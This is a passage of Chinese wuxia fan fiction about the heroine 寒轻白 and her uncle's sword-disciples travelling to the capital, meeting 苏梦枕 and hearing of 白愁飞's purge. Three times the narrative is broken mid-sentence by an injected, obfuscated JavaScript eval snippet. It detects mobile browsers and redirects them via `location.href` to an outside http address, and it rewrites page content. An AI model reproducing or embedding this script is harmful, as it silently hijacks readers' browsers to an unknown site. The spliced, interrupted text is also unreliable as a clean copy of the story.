金缠钏瞧着好看,上面还有细细雕刻的花纹,只是那东西戴在手臂上时总有种被束缚的感觉,寒轻白连手镯和项链都没怎么带过,带缠臂金难免觉得不自在,自打拿回来便放在盒子里吃灰去了。 “没,就随便问问。我们回去吧。” 温辣霞见回来的寒轻白手里空空如也,咦了一声,问道:“小梁没拿话本给你?” “他最近都没空了。” “也是,刚输成那副样子,连上次排名都不如,老梁肯定会责打他。” 温火滚连着好几年都输给了罗睡觉,罗睡觉的剑术肉眼可见飞速提升,已然自成一派,再练几年估计他同辈的这几个谁也比不上他。这叫罗送汤得意坏了。温辣霞越想越气,只是他在黄石山上也懒得当着同门的面痛斥温火滚,所以有一句没一句跟寒轻白说说话,关怀一下许久不见的外甥女,打算等下了山再责打训斥徒弟。 “你的刀现在练的如何?可有在外与人比试过?” 寒轻白练是她父亲的刀法,妖刀自成一派,讲究随心出刀,不拘泥于固定的招式,是急快促冷也好,大开大合也好,运用之妙,存乎一心,端看持刀者想如何出招,如何攻击对方的破绽。 刀与剑相通,但归根到底还是不一样的兵器,温辣霞担心自己关于剑的领悟说多了反而容易局限住寒轻白的思维。 他练的是险剑,以剑锷为剑,一招一式皆是拼命剑法,玉石俱焚,不给敌人留退路,也不给自己留退路。他教给温扫眉的也是如此,温扫眉本身脾气就大,越练越火气大,火气越大越虎虎有生气,也愈发像团燃烧的火,所以温辣霞为他取名温火滚,也不知是名字影响风格,还是他本身就是这样的人,温火滚打杀敌手时更像焚烧的火球,可谓说是名符其实。 温辣霞对寒轻白的进度不怎么催促,好在寒轻白在这一道上颇为自觉,也颇有天赋,刀法已然有了自己的风格,这叫温辣霞在陈棍礼面前脸上也有光。 陈棍礼收徒跟他们不一样,收的是自己的外甥吴鹰君,所以不曾为他改姓。不过同样是妹妹的孩子跟着学艺,虽然一个是刀,一个是剑,温辣霞和陈棍礼难免进行比较,寒轻白日夜不停风雨不误苦练刀法,温火滚练剑的时候她便在练刀,绝不会比自己师兄少练半分,而吴鹰君则不然。 陈棍礼为他取名奋斗,是希望他能奋斗向上,但吴奋斗比较懒,并不怎么愿意下苦功,他的剑法也以意境为先,仙气飘飘,剑势曼妙。好看是好看了,可要论杀人的利只怕还不如梁伤心的快剑。 温辣霞为此高兴。虽然徒弟比不上罗送汤,至少自己的外甥女比人家的外甥要强。 “还未曾去寻高手比过。”寒轻白答。 “不过我得到了一些别的关于刀法的感悟,道德经中有言,大直若屈,大巧若拙,大辩若讷,那出刀时最快是不是也似慢,力重是否也可为轻……碰巧先前得到以针为武器的前辈指点,所以我现如今正在尝试融会贯通。” 得知寒轻白下山后并无懈怠,温辣霞很满意,他道:“实践出真知,体悟到的施展出来才知道该如何继续改进,到时候有需要便找你师兄比一比,或者找我给你喂招也行。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033304|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 寒轻白正有此意,也不犹豫,当即便要跟温辣霞打一场。温辣霞也答应得爽快,提了剑便朝寒轻白刺去。 温辣霞留了力,可他使的本就是不留余地的剑法,就算再和缓,也难掩其中危险,一剑直朝致命之处来。 寒轻白抽刀,这一次她并没有像以往一样直接用刀背去硬抗温辣霞的剑。正相反,她退了一步,刀身压低,从下往上出刀,动作并不迅速,反而轻柔,好似摘花折枝,多了几分温柔,刀尖将剑挑开,叫剑尖偏了原来的方向。 见寒轻白使刀出现了新的变化,温辣霞赞了一声不错,攻势不减,一击不成,剑风再度逼来。 寒轻白故技重施,再度挑开他的剑,可这一回她没有退开,刀锋擦着剑直直刺了上去,与剑身摩擦时带出一连串的火花,这一刀直往温辣霞咽喉而去。 可温辣霞更快,他的剑没有回防,而是也这么朝着寒轻白刺去。眼见着这一次指导要变成比拼谁的速度更快,谁的武器更长能够先一步刺到对方时,寒轻白的刀势一转,竟不再朝要害刺去,而是翻转后刀背砍向温辣霞的手臂,重重一震,温辣霞只觉手臂发麻,他的剑也在此刻停下。 温辣霞收剑,寒轻白也收刀。 他又赞了一声,脸上多了笑容。 “不错,如果不用刀背的话,这一刀砍下来就能将手臂断掉。之前那一挑,挑的角度和力道都好,现在你的刀竟多了几分轻灵,看来这一回下山于刀一道收获颇丰,难怪都练瘦了。” 温辣霞自家人知道自家事,之前在庐山上时吃食就靠温火滚的厨艺,连句能吃都是他看在温火滚是他自己亲传门徒的份上说出来的。温火滚下山一年后再看到他,便肉眼可见地胖了一圈,可寒轻白这一趟下山,居然还瘦了,可见很是刻苦。 其实是因为在黄河周边赈灾帮忙,遭过灾的地方于吃上也没法多讲究,再加上她又不吃公家的饭,有一顿没一顿吃着累瘦了的寒轻白默认了温辣霞的夸赞。 “好了,去把你师兄们叫来,我们有事要跟他们说。” “都叫来吗?” “对,这可是件大事,自然都要在。” 寒轻白依言去叫了人过来,在人齐后,温辣霞开口了。 “我们收到了京城寄来的一封信,是诸葛小花的好敌手,蔡京蔡元长寄来的,他希望能请我们七绝剑神出山助他一臂之力。我们几个商量过后,决定派你们去京城到蔡元长麾下效力,正好,你们也探探京城中高手的底。” 温辣霞提起蔡京时的态度也没有多客气,他们七绝剑神本来是跟随岭南智高谋反的,智高失败固然有被诸葛小花元限等一干高手打了个头破血流的缘故,但当时作为户部尚书的蔡京也没少在这场战争里出力。 只不过温辣霞等人武人心性更强一些,比起在战争中出力的蔡京,他们更不甘心于自己等人就这么被打败。 如今蔡京客客气气写信请他们出山相助,他们再怎么说也要顾忌蔡京的势力和他手下的武林高手。可他们又不愿停下钻研剑法的步调,于是七绝剑神几人一合计,决定派徒弟们七绝神剑过去。 “小寒也要去吗?” 师父发话,温火滚并无不愿,只问了句师妹去不去。 “看小寒自己。”温辣霞说。 “京城富贵,小寒就算这回不跟你师兄们一起去,日后得空了也去瞧瞧,那里可有不少好东西。”何剑听语气温和。温辣霞的同门中,他是待寒轻白最宽和的一个,一句重话都不带说的。虽然他对自己的徒弟完全是另一个极端,见何难过无法技压同门便呵斥责打,疾言厉色,与他对寒轻白全然是两回事。 寒轻白应声道好。 5. 京城开启 【你决定跟师兄们一道去京城,不过不去拜见蔡京入他麾下做事,只自己在京城逛一逛,就如舅舅的同门所言,去京城长长见识,看看一国都城、天子脚下是什么样的。 你们并不急着启程。因为黄石山比完剑之后每对师徒之间会有一些交流和反省,你不太清楚其他师徒是怎么样的,反正舅舅和师兄这边就是一顿呵斥和责打。一般这种时候,你还是会稍微顾忌一下师兄的自尊心,找远一点的地方躲起来,时间差不多了再回去帮师兄包扎上药。 三个月以后,众人汇合,然后前往京城。 黑师兄问你为什么不愿一起为太师效力做事,他听说只要为太师做事,可以得到不少荣华富贵,肯定比在山上的日子要好得多,你回答他说你还想再玩一会,不想这么快就决定好未来很长一段时间甚至可能是一辈子的工作。 工作是做不完的,永远也做不完。你还年轻,就算你是卷王,你也不想这么早就工作。 说起卷王,师兄们中有一个可能比你还要卷,就是小师兄。 小师兄练的是梦中剑,在睡梦中也能练剑,所以时常闭着眼小憩,节省精力,就连说话的时候也大多是闭着眼的。 你不知道他究竟站着的时候能不能睡着,所以每次你们去找食物或是柴火的时候你都是拉着他走的,万一他睡着了然后头摔到地上了的话,你可没法赔一个练剑天才给舅舅的同门。不过你们两个一起结出去的次数比较少,一般师兄都会让你们留在原地等他们回来。 在庐山上,师兄的厨艺最好,不过在他们七个人里,小师兄的做饭水平最高,随便烤点什么都很香,所以这次出门路上基本都是小师兄做饭。 小师兄曾经想试图教会你烤肉,不过显而易见失败了,你不敢去看他被火灼破的衣裳。小师兄很大度,他安慰你说没事,缝一下打个补丁就好了。 不过我没想到你做饭水平跟梁差不多。小师兄说。 小师兄叫人很简单,直接叫姓氏,不加前缀,也不按年龄去称呼,他叫梁师兄就叫梁,叫师兄就叫温。 你不好意思地告诉他在山上都是师兄做饭,他做饭水平算是最好的,你和舅舅都差点。 小师兄沉默了一会,可能是在回想你师兄的厨艺,最后他说,那你们还挺厉害的。 京城确实很繁华,对得起你们这一路来的颠簸疲惫,是你从未见过的热闹,就算是过节时山下的集市也没有这么多人聚在一起,而且山下的小镇子里也没有京城这样漂亮的街道和楼阁。不仅你没见过,你的师兄们也一个一个都看呆了,大家都是头一回进京。 不过像这样被京城迷得傻乎乎的人也不止你们,还有不少跟你们一起入京的人也在环视四周,发出惊叹不已的声音。京城的人都已经习以为常了。 雕车竞驻于天街,宝马争驰于御路,金翠耀目,罗绮飘香。新声巧笑于柳陌花衢,按管调弦于茶坊酒肆。《东京梦华录》里描绘的景象尽数展现在你面前,恍若清明上河图徐徐展开,桃花源想来也莫若于此。 可你记得《东京梦华录》是为什么而写的,也记得曾写出东风夜放花千树,更吹落、星如雨;宝马雕车香满路,凤箫声动,玉壶光转,一夜鱼龙舞的人究竟经历了什么,究竟一生都在盼望些什么。 你更记得下山后曾在黄河附近见到过的场景,黄河决堤,周围的百姓流离失所,赖以维系生计的土地都被河水冲尽,淹死饿死不胜其数。县衙不作为,州县无动于衷,只盯着他们那白花花黄灿灿的金银珠宝,如果不是好心人大手笔捐了海量的银子,差役连腿都不会挪一下,遑论用好料子来重建堤坝。史书上记载的寥寥几句改道分流,决堤溃坝背后是无数的血和泪。 一时间,你怅然若失。】 “怎么突然不高兴了?” 罗睡觉轻声问。 他本就走在后面,其他人目不转睛盯着自己感兴趣的东西,兴致勃勃地说着些什么,他不爱与他们结伴,自成为七绝神剑之首,稳定了位置之后尤甚,以一己之力孤立他们所有人。此时他注意到了寒轻白忽然的低落,移了位置靠近她。 “想到这些以后都会消失,有些遗憾。” 听了她的回答,罗睡觉失笑。 “就算真的消失,那也是未来的事情了。” 见寒轻白的低落并没有被驱散,他想了想,勾上她的手指,跟寒轻白对上视线,随后牵上她的手,带她往旁边站去,落后了前面的人几步。 “跟我来。”他说。 罗睡觉的轻功很好,是他们所有人里最好的那个,寒轻白在这方面就稍显逊色。不过于此时也无甚影响,罗睡觉拉着她的手带着她走,快也快不到哪里去。 他们进京的时候已经不怎么早了,现在天色已经黑了下来,罗睡觉的皮肤很黑,只一双耳朵是白的,寒轻白被他拉着,抬眼便能看见他的一侧耳朵。 可比起耳朵,他更为引人注意的是他的一双眼,如果他不是闭着眼睛小憩的话。 一双乌亮的眼,骨碌骨碌地转,带着几分稚气,有点像小鹿,但又比小鹿多了几分野性。 “到了。”他说。 他们来到了屋顶上,罗睡觉拉着她坐下,寒轻白向很亮的地方望去,那里是夜市,星星点点,像从天上流下来的银河,但比银河更喧闹,更明亮,传来阵阵欢声笑语。 “可能未来会消失,至少现在还是很美的。” “确实很好看,小师兄来过京城吗?”寒轻白连连点头。她望向四周,街边楼上灯笼的光因有一层油纸所以显得朦朦胧胧的,连起来成了一大片灯的雾海,不一样的颜色汇聚在一起,比青山绿水彩墨山水画还要更美。 “没有,不过高处总是好的,能看得更多、更远。” 寒轻白没有再说话,只安静地看,看京城的万家灯火,那点低落散去后,她本想偏头跟罗睡觉说话,却发现他已经躺在屋顶上睡着了,闭着眼睛,睡得极恬、极沉,只有手还跟她牵着。 寒轻白没有叫醒他,她知道罗睡觉练梦中剑,在睡梦中也能练剑,所以他的剑法才能技压同门,别具一格。她把罗睡觉背起来,施展轻功下了屋顶。 现在该是去找温火滚他们的时候了,不然寒轻白都不知道自己今晚住哪,她身上也没有多少钱,如果找不到人,没准只能露宿街头。 最后寒轻白没有带着罗睡觉露宿街头。 她背着罗睡觉找了两条街,找到了正站在店门口等他们的温火滚。 “师兄!”寒轻白很高兴地叫他。 温火滚见到她,脸上的表情变得温和,不过视线落到她背后的罗睡觉时,露出了几分不满之意。 “你下次不管罗老幺,让他睡地上就行。他一声不吭就带你走,回来还要你背他,真把你当冤大头了。” “没事,反正小师兄也不重。” “这不是重不重的问题。” “我不想在客栈门口说这事,赶了一天路我也累了,师兄有帮我订房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033305|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间吗?” “好吧,那你快去休息,当然订了,楼上左拐十六号房,罗老幺你放这长椅上就行。” “好,师兄你记得带小师兄回房间。” 寒轻白上了楼,温火滚踹了椅子腿一下。罗睡觉睁开眼,什么也没说,去找店家登记入住了。温火滚望着他,冷哼一声后上了楼回自己的房间。 先前在路上已经说好了,到了京城后白日里七绝神剑便要去蔡府拜访蔡京,说不定还会被他派去做事,寒轻白只管自己去玩去逛就行,温火滚提前留了些银钱给她。 寒轻白这边逛逛,那边走走,从肉干素签和沙糖冰雪冷元子到荔枝膏梅子姜香橙元,咸的甜的只要感兴趣的寒轻白都尝了尝,反正再怎么样也不会比她自己做的饭难吃了。 逛到一半忽然下雨了,寒轻白踩着水坑一蹦一跳,靴子上沾了泥点子也不在意,不过眼见雨越下越大,寒轻白还是找了一个棚子沿躲雨,打算等雨小一点了就离开。 远处有喧哗声,还有刀剑相碰的清脆声响,寒轻白站在原地没有动。温火滚告诉她,京城有不少势力,多会出现火拼,不过一般不会牵扯到无关的人,他让寒轻白若是没兴趣的话不去理就好了。 不过寒轻白待着不动,不代表那边就不会没有动静牵扯到她了。 一个人从那边飞过来撞上了躲雨棚,寒轻白躲开了,但棚子被撞坏跌落了下来,令她只能被大雨所淹没。 那人落下来时已没了呼吸。 寒轻白看向战局已定的不远处。 穿着杏色衣裳的青年已被雨淋得湿漉漉,血混着雨水从他的刀尖滴下,红色的刀透亮瑰丽,分不清滑过刀身的究竟是雨还是血。 青年面带病容,可一双眼睛里燃着寒火。他看过去,与寒轻白对上视线。他见是自己打出去的尸体弄坏了棚子,便对自己的手下开口。 “利小吉,去取我的伞给那位姑娘。” “是。” 他身旁的一个人从轿子里取出一把伞,递给寒轻白,寒轻白接过,撑开了伞。 寒轻白见那青年转身回了轿子,他走得很慢,像是只有一条腿在支撑着他。待他回了轿子,轿帘遮掩住了他的存在,只里面传出来撕心裂肺的咳嗽声还证明着他这个人的存在。 有了伞具,寒轻白也无停留在这里的缘故,便撑着伞走了,晚上温火滚回来,寒轻白向他问起那持着红刀的青年的身份。 温火滚眉头一挑,道:“红色的刀,刀很漂亮,京城里有这样一把刀的病公子大概只有那一个人。” “是谁?”寒轻白问。 “金风细雨楼,梦枕红袖第一刀,苏梦枕。” “他是用刀的,而且刀也使得好,无怪你感兴趣。不过如今金风细雨楼内忧外患皆有,你若是想与苏梦枕比刀不一定有机会。” 温火滚对敌时像一团火球,脾气也大,但他说话时很有条理,从不无的放矢。他既然说出口了,便一定有他的道理。 “为什么?”寒轻白问。 “苏梦枕苏公子一手成就金风细雨楼赫赫功业,是令人佩服的英豪,不过先前他在苦水铺被六分半堂暗算,中了剧毒不得已截掉半条腿,虽然最后杀了雷损,可六分半堂并没有被斩草除根,仍旧是他不死不休的敌人。最近他一手扶持起来的结义兄弟也不安分,种种张狂举措像我们这样初入京城的人都有所耳闻。所以我说他估计很忙,除非你抱着杀了他的决心去,不然他不会有空与你比刀的。” 6. 京城探索 温火滚知道寒轻白并不是什么滥杀的人,也没有像他们一样去找高手祭剑试剑。她很少杀人,虽然杀人时并不会犹豫,但除非生死关头,如果要她出手,至少要有一个能够说服她的理由才行。 她不会单纯为了出名和试刀而去杀人。这是温火滚认为即使寒轻白刀法很好但仍不出名的原因。 其他人他知道的不多,不过与他关系不错的何难过和梁伤心是什么样他还是清楚的。 何难过一向认为杀人是一种乐趣,他是七位同门中最享受杀人的一位。他曾经与寒轻白提过一两句,不过刚开了个头就被温火滚打断了。因为温火滚知道他接下来大概会说什么。何难过使的剑很慢,出手很慢,杀人也很慢。他用十五天杀过一个人,也用两三年去杀过一个人,那人断气的时候已经不堪一提了。何难过享受这个过程,他认为杀人是一件很讲究的事情,讲究节奏,也讲究气氛。 梁伤心杀人杀得很快,杀人对他而言是一种成就。他还有一个毛病,他有时候会心痛,他心一痛就呼吸急促、脸青唇白,非杀人不能缓解。他心一痛就想杀人。因为这一点,就连他师父都说他是一个天生杀人犯。 温火滚剔了剔灯花,拨弄灯芯,让光更明亮了一些。他心下满意,伸手去灯芯上碰了碰,对于指腹上传来的灼烧感,他习以为常。 他将注意力从火光转移到寒轻白的脸上,见寒轻白不说话,只趴在桌子上看着他玩火挑灯芯,便开口道:“你要是真想见苏梦枕的红袖刀的话,我再想想办法……” “那倒不用。我只是有点好奇。”寒轻白说。 寒轻白好奇的事情有很多,就温火滚记忆里能瞬间翻出来的就有十几二十多件,就庐山上的一棵树她都能好奇一阵子。有段时间她好奇山里究竟有多少动物,总往偏僻处走,温火滚最后找到她的时候,她正坐在老虎背上朝他挥手。 如今寒轻白又好奇起了苏梦枕的红袖刀,温火滚估计短期内寒轻白都不打算离开京城。 “师兄,你们去太师府之后怎么样,太师怎么说,打算给你们什么待遇?” “太师很礼遇、看重我们,给了我们差事,叫我们护卫太师府,刑部那边也已经取得了赦免,不追究过往之事,四大名捕就算要办我们也没有证据。不过罗老幺更得重用,太师有其他事叫他去办,现在估计已经出城了。” 罗睡觉为七绝神剑之首,年纪最小,武功最高,得蔡京另眼相待也不足为奇。温火滚位于罗睡觉之后,并不像罗睡觉一般得蔡京看重,而是被归为七绝神剑中的其他六剑。这叫他有些气馁和不甘,不过他并不将这种情绪在寒轻白面前表现出来。 “小寒你没过去看一眼真是可惜了,太师府里处处都是好东西,地上铺的,桌子上摆的,就连屏风上绣的都是金线。” “不用去看也知道太师府肯定很奢华,我知道有一个关于葱花的故事,师兄听说过吗?” “葱花?是什么?” “说有一个人娶了从太师府里出来的厨娘,大家都觉得她很会做菜,结果厨娘说她只是包子组负责切葱花的。” 温火滚听后啧啧称奇,谈笑过后又觉得不太好,便清了清嗓子道:“你这是从哪听说的有的没的,在外面可不能随便议论权贵的事情,容易惹祸上身。” “我知道,隔墙有耳,也就跟师兄你聊聊这些而已。”寒轻白拖长声音。 温火滚敲了敲桌子,发出声音吸引寒轻白的注意力。 “我话说在前面,小寒,你好奇红袖刀我不拦你,但要是有事你可要提前说,我们护卫太师府排了班,不是所有人都去,你找有空闲的人说一声就行。可不要等我收到消息发现你挑战红袖刀被金风细雨楼当敌人抓了。” “那怎么会,如果他们抓我的话我会跑的,到时候躲在屋子里,师兄你帮我带饭,我就不信他们敢强闯民宅。” 听罢,温火滚大笑道:“行,真要有那天,只要你能在屋子里待住,我就帮你带饭。” 后面几天寒轻白都不见踪影,温火滚不以为意,只当她去傻等苏梦枕从金风细雨楼里出来的机会。不过他自己下意识也对金风细雨楼的事多了几分关心,了解得更多了一些,免得寒轻白问起他时,他却不知道。 京城中有两大势力,一为金风细雨楼,一为六分半堂。六分半堂前堂主雷损死后,他的女儿雷纯成为了六分半堂的总堂主,比她父亲姿态更柔顺,更向太师靠拢,听从蔡傅一党指挥。 这样一来,更显得金风细雨楼极为碍眼。 苏梦枕身患重病,曾受六分半堂暗算中毒不得已截掉了半条腿,这些事情放在其他人身上早就一命呜呼了,可苏梦枕就是不死,一直不死,而且活得好好的。不过这些伤病对他也有影响,他有些时候不得不卧病在床,进皇宫去由御医缓解他的病痛,于是他将金风细雨楼的大权交与他的结义兄弟白愁飞和王小石。这二人都是金风细雨楼的副楼主,不过性格迥异,白愁飞积极掌权,收拢人心,王小石则对这些没有兴趣,比起金风细雨楼,他更常出没在自己的回春堂愁石斋。 温火滚还听闻白愁飞已向太师投诚,当了太师面前的红人,这在蔡府并不是什么秘密。太师有意通过白愁飞掌控金风细雨楼。这样京城中两大江湖势力尽数收于太师手中,听太师统筹,再无人敢公开与太师作对。 他将打听来的事告诉寒轻白,随口问道:“这些天小何小梁也说没见你,做什么去了?” “去了华玉轩。” “华玉轩?那里不是卖古董字画的吗?没听说过你感兴趣。” “有个认识的朋友是华玉轩的人,京城这里华玉轩的老板也是她的朋友,我就去华玉轩看看有什么需要帮忙的。” “如何?” “帮忙送了几趟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033306|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西,老板给了我几幅字帖,让我有空可以学着练练字。老板还介绍了其他店铺的老板给我,那附近我都已经混熟了!” 望着寒轻白的笑脸,温火滚语气温和,道:“原来你对红袖刀也没那么感兴趣啊,也是,京城除了苏梦枕以外还有不少用刀的,没必要死盯着他一个不放。神通侯府的八大刀王也都是用刀的高手,神通侯与太师关系尚可,若是上门切磋的话应该比找苏梦枕比试要更有可能一些。” 温火滚只聊了几句,得知寒轻白过得很开心之后就不再多问,直到跟梁伤心喝酒时无意间谈起这个话题,梁伤心才说起他上回见寒轻白是在哪里。 “她最近很喜欢逛瓦子巷,听说孙三四也会让她留宿。”梁伤心露出失落的表情。 小甜水巷和瓦子巷都是京城有名的巷子,京城中有名的红角儿,艳传京华的绝妓孙三四就住在瓦子巷里。 与梁伤心的怅然若失不同,温火滚一口酒喷了出去,他连连呛咳,擦去残留的酒液。他一下子酒醒了。 “你在说什么鬼话?” “你不知道?”梁伤心反而诧异起来。 温火滚没好气道:“我最近不都在太师府吗,你和小何是快活了,我到哪里知道去。怎么搞的,你既然见了小寒,怎么不带她出来,还让她留在瓦子巷。” “我是去想见孙三四的,可她们总说孙姑娘有客人,推三阻四的,我不耐烦,便翻窗上去,本想看看是什么客人,结果看到了小寒,她当时在和孙姑娘聊天。” “见我翻进去,她们两个都看过来,老温,说真的,我当时大脑一片空白,小寒问我怎么翻窗进来,我哪里想得出来该说什么比较好,便只好又翻窗跑了。你说这种情况,我哪里敢叫小寒走,小寒让我走还差不多。最近我甚至连瓦子巷都没敢再进。而且不止我看见小寒了,前两天孙老妖还因为这事来找我,问我小寒最近是不是在瓦子巷,他说一开始还以为自己看岔了,后来越想越不对,就跑来问我。” “不是…你们也没人来告诉我啊?” “我们还以为你知道,就没人来找你。小寒想做的事情,你哪次没答应过,小到你来比剑的时候一脑袋的麻花辫,她不想上山你就背她上来,再有就是吴老仙抽她发带的时候,每次不都是你压着吴老仙揍一顿,余老鼠和罗老幺哄她开心。余老鼠更是过分,每次都没反对过,以前不是还跟着她往山里头走去探险,到了半夜才回来,中途遇见大虫挂了彩,就这后面也没见他拒绝过。” “小余知道这事吗?” “你问我,我怎么知道?他们三个又不怎么跟我们来往,不然孙老妖来找我时我还纳闷怎么太阳打西边出来了。” “那现在怎么办,你找小寒聊一聊?你是她师兄。” “合着你不是她师兄一样,这能怎么办,等小寒回来问问她怎么想的吧。”温火滚只觉头疼。 7.运气与狠 自从温辣霞带着他的外甥女来,告诉温火滚以后这就是他师妹之后,头疼对于温火滚来说就是一种很熟悉的感觉。 在被温辣霞收为徒弟之前,温火滚是一个有家的普通少年,只是他自己玩火烧毁了自己的家,于是居无定所,成为了孤儿。换而言之,温火滚曾经有过世俗定义中正常的生活,他并不是一个打从一开始就忍受山上练剑的孤独与寂寞的人。 温辣霞指点他们的剑术、刀法,盯他们打好武学基础,可对其他事情,他们这个脾气火爆的师父并不怎么关心。虽然名义上温辣霞才是寒轻白的舅舅,寒轻白根本不学剑,学的是刀,刀法还是她父亲的,真要较真起来,温火滚不算是她什么正儿八经的师兄。可日常生活中还是温火滚与寒轻白相处得更多一些。 寒轻白刚来时不过八岁,对于温火滚来说小小一个,寒轻白需要仰头才能对上他的视线。小小的这样一团寒轻白,精力却充沛得紧,练完刀之后还能兴致勃勃地跑进山里去,美名其曰探索冒险。温火滚只好跟上去,看她爬上树,攀上悬崖,研究什么二段跳,还得操心她会不会掉下来。有时候蚂蚁搬家都能让她蹲在那里看好久,温火滚也不知道她在看些什么。 带着滚得身上沾了苍耳碎叶和泥土的小不点回来,他还要缝补衣裳,如果没补完的话就把自己的衣裳往上别或是裁短一截给寒轻白凑合穿上。 练完剑晚上温火滚想放松一下,点了火烧一圈,寒轻白没多久就又从睡觉的地方跑了出来,跟他说什么放火烧山牢底坐穿,温火滚无法,只得跟她保证晚上不怎么玩火了。小孩子总是无法预测的,刚还嘀嘀咕咕跟他说着什么,一个不经意间就没了声音,温火滚再一看已经睡着了,他就把人抱回去,又在她身边堆了些稻草免得着凉。 再长大一点,寒轻白又盯上了厨房炉灶。学着做饭不是什么坏事,但是能把炉灶烧了,让温火滚不得不重新搭一个,这就有点叫人头疼了。 从小到大这样的事情数不胜数,温火滚有时候也在想他究竟是被师父带上山去练剑的,还是带孩子的。可看着无论什么时候都能飞快地找到自己好奇感兴趣的事情,露出笑脸的寒轻白,温火滚也会不由自主感到心情愉快。虽然心软的后果就是被寒轻白飞扑过来后溅了一身泥,不得不再在河边洗衣裳。 现在寒轻白长大了,终于不玩泥巴不二段跳了,也不会挂着满身苍耳回来要他帮忙取,不过活动的范围也大了,不是温火滚和余厌倦两个人就能看住的,这不一个没留神就让人跑去了瓦子巷。 在梁伤心告诉他的翌日,温火滚去找了余厌倦。虽然七绝神剑内部分为三派,仙妖鬼,神魔怪,外加一个剑罗睡觉,但在寒轻白的事情上,温火滚更愿意与余厌倦沟通。 余厌倦与他持不同意见,他并不为此头疼,也不打算找寒轻白谈心,只慢吞吞地说:“说到底,瓦子巷也没什么不好的,大家都等着苏梦枕死,可他偏不死,不过现在病得更重了,在象牙塔卧床等死,金风细雨楼里的事都有些顾及不到了。最期待苏梦枕死的白愁飞正在大肆清除异己,苏梦枕的死忠被他推出去挨个清除,小寒在瓦子巷玩总比她因为对红袖刀感兴趣然后被牵扯进去要好。” “反正她的刀够利,瓦子巷就算有高手也是去寻欢作乐的,小寒都已经跟孙三四混熟了,那还担心啥?在瓦子巷那片地方,孙三四的面子他们总要给吧。小梁和阿何我不知道,他们两个你自己去问,老吴的相好本来就不在那片地,老孙已经跟我说了,他最近都去小甜水巷,绝不踏进瓦子巷半步。” “那要是小寒又去了小甜水巷?” “他就再换回瓦子巷,或者去别的地方也行,他又不是一定要听曲,给钱就能睡的女人也不是没有。” “话说回来,这又不是啥大事,小梁怎么专门找你?小寒想去哪里玩与他有什么关系。” 这个温火滚倒是清楚,他后来也问了梁伤心。 “他没特意找我说,就是闲聊提到了,他最近对孙三四着迷得不行,不过人家孙三四不搭理他。他心头郁闷。” 余厌倦哦了一声,“那我明白了,难怪他印象深刻。估计是那天刚好喝了点酒打算冲上去问个缘由,结果看见小寒,酒也吓醒了。这就纯属他活该。” 余厌倦说话很不客气,他本就与梁伤心关系平平,跟温火滚之间相性也没多好,不过因着他们都很关心寒轻白而多聊几句。温火滚听罢虽不喜,但也无甚可替梁伤心辩解的,事实本就如此,如果那日在孙三四屋里的不是寒轻白,而是其他的人,梁伤心定不会善罢甘休。 江湖上打打杀杀恩恩怨怨生生死死,多的是不会善罢甘休的人,梁伤心也是其中之一,他一向信奉既然伤了人,不如把人也一起杀了。如果伤了而不杀对方,一定会来报仇,与其这样还不如直接痛快点一早杀了对方,一了百了,何况他练的本就是伤人心要人命的快剑。 信奉做事赶尽杀绝的也不只有他一人,奉白愁飞之命清除异己的人杀人也毫不留情,全不顾及对方与自己同为金风细雨楼的子弟。 毛拉拉便是如此。 王小石主事时,他过得很不痛快,常因为动辄闹出人命而被王小石谴责。他一开始是花无错的下属,杀人时还会手软,后被花无错一手调教,他从花无错这里学到了江湖汉子的一个特质,狠。 后来他短暂地在师无愧、薛西神手下待过,现在直接隶属于孙鱼,间接受命于梁何,是板上钉钉的白愁飞下属。 他喜欢杀人,觉得杀戮是莫大的享受,杀谁都行,只要杀人,他就高兴。于是他被派来杀死这些死忠于苏梦枕而不愿屈从于白愁飞的金风细雨楼子弟。 他够狠,也够紧追不舍,被他追赶的那人慌不择路,竟拐到了孙三四的小楼附近,穿过一大片栀子花树,身上沾染了浓郁的花香,像一个移动的香薰,只不过美中不足的是香薰自带血腥味,与花香混在一起形成了一种令人发毛的味道。 “苏公子待你们不薄!你们杀害同伴,不得好死!” 毛拉拉嗤笑一声,“谁让你们不识趣,顽固不灵,不懂得归顺白楼主。” 白愁飞够狠,为了大事也能不择手段,不分对错,毛拉拉认为,只有够狠的人才能在江湖上、武林里闯出一片天地来,苏梦枕病重缠身,王小石优柔寡断,白愁飞比他们更适合领头。 毛拉拉手中持绳,飞铙一出,侧面起花自上而下旋去,直奔地上那人的脑袋,不将他开瓢便不肯罢休。毛拉拉似乎已预见了敌人的脑袋像西瓜一样裂开,迸溅出血和脑浆,他异常兴奋。 